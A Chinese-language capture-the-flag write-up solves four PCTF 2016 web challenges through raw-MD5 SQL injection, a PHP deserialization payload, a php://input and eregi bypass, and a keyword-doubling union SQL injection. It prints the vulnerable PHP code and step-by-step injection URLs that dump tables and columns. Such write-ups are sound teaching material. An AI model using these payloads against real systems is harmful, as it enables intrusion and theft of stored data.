PCTF-2016-WEB

Pctf
** web100 PORT51** 
开始看到这个真的无法下手，想过用python–socket编程或者scapy发包。自己觉得是可以的，但是没有去试，后面看一大神writeup，知道：
最简单的payload：一个curl命令的事，涨姿势了
curl –local-port 51 103.39.76.105:32772/
其中–local-port 51 强制使用本地51端口 所以最后的flag就是PCTF{M45t3r_oF_CuRl}
另外在本文后面贴一份C语言实现这道题的代码：（见文章最后）
** web250 Login** 通过抓包在响应头里面看到hint如下：

hint : "select * from `admin` where password='".md5($pass,true)."'"

根据http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/， 直接输入ffifdyop，得到flag为PCTF{R4w_md5_is_d4ng3rous} 还有一个，提交129581926211651571912466741651878684928：

 content: 129581926211651571912466741651878684928
 count: 18933549
 hex: 06da5430449f8f6f23dfc1276f722738
 raw: ?T0D??o#??'or'8.N=?

文档：http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes web300 神盾局的秘密 这道题打开是一个只有一张图片的主页。查看源码发现了一个文件读取漏洞
读出showimg.php的源码

<?php
 $f = $_GET['img'];
 if (!empty($f)) {
 $f = base64_decode($f);
 if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
 && stripos($f,'pctf')===FALSE) {
 readfile($f);
 } else {
 echo "File not found!";
 }
 }
?>

从这里看到img参数防止了跨目录读取，但是我们还可以读取index.php的源码啊 得到：

<?php
 require_once('shield.php');
 $x = new Shield();
 isset($_GET['class']) && $g = $_GET['class'];
 if (!empty($g)) {
 $x = unserialize($g);
 }
 echo $x->readfile();
?>

这里知道index.php还可以传入class参数，并且还有一个反序列函数，应该就是一个反序列漏洞了。此处还知道了一个地址shield.php读他的源码：

<?php
 //flag is in pctf.php
 class Shield {
 public $file;
 function __construct($filename = '') {
 $this -> file = $filename;
 }

 function readfile() {
 if (!empty($this->file) && stripos($this->file,'..')===FALSE
 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
 return @file_get_contents($this->file);
 }
 }
 }
?>

果然啊，php反序列啊： 根据代码生成payload： O:6:"shield":1:{s:4:"file";s:8:"pctf.php";}
得到flag：PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
** web500 IN A Mess**
这题打开就很快根据提示找到一串代码：

<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id']){
 header('Location: index.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
 echo 'Hahahahahaha';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
 require("flag.txt");
}
else{
 print "work harder!harder!harder!";
}
?>

需要绕过啊！！ 绕过分析：

id==0且!$_GET(“id”)为假 构造：id=false或者id=”0”
$a不包含点且a文件内容为特定的 a=http://115.159.145.92/test 把其中ip用iphex编码为0x739F915C iphex工具在线
b长度大于5&&eregi(“111”.substr(b,0,1),”1114”)andsubstr(b,0,1)!=4。构造b=*123456或者b=%0023456ssss

还有一种绕过方法：主要是输入流。

POST /index.php?id=0xxx&a=php://input&b=.12345

1112 is a nice lab!

绕过时真JB激动啊！！得到一串字符 /^HT2mCpcvOLf 当时还当flag拿去换着几种姿势提交都不对 后面想了想可能是目录 就访问xxxxxxx/^HT2mCpcvOLf 果然就是，并找了找，是注入： 
Howevevr….waf太强不会，GG了就，虽然GG了 但是答案还是要找来贴在这儿的，看大神的解法：
试了试，过滤不多，就过滤了像是空格啊，回车啊，tab啊之类根本没什么屁用的东西，像是select，union，from什么的也都只被正则替换了一次，用selselectect就能绕过，另外还过滤了08，09,20等等敏感的数字。 flag就在context字段里面,而那个hi666就是title字段的值。 用union去回显爆库，它是总共有三个字段，显示的是第三个字段，像是空格被过滤的话用各种括号就可以绕过了，最后的payload如下：

http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)frfromom(content))

后头自己也去注了一下，把过程记录下来：

绕过测试 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=1/*123*/or/*123*/0

数据库 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,database()

爆表 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(table_name)/*123*/frfromom/*123*/information_schema.tables/*123*/where/*123*/table_schema=database()

爆列 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_name=0x636f6e74656e74

爆内容 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(context,0x7e,title)/*123*/frfromom/*123*/content

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}~hi666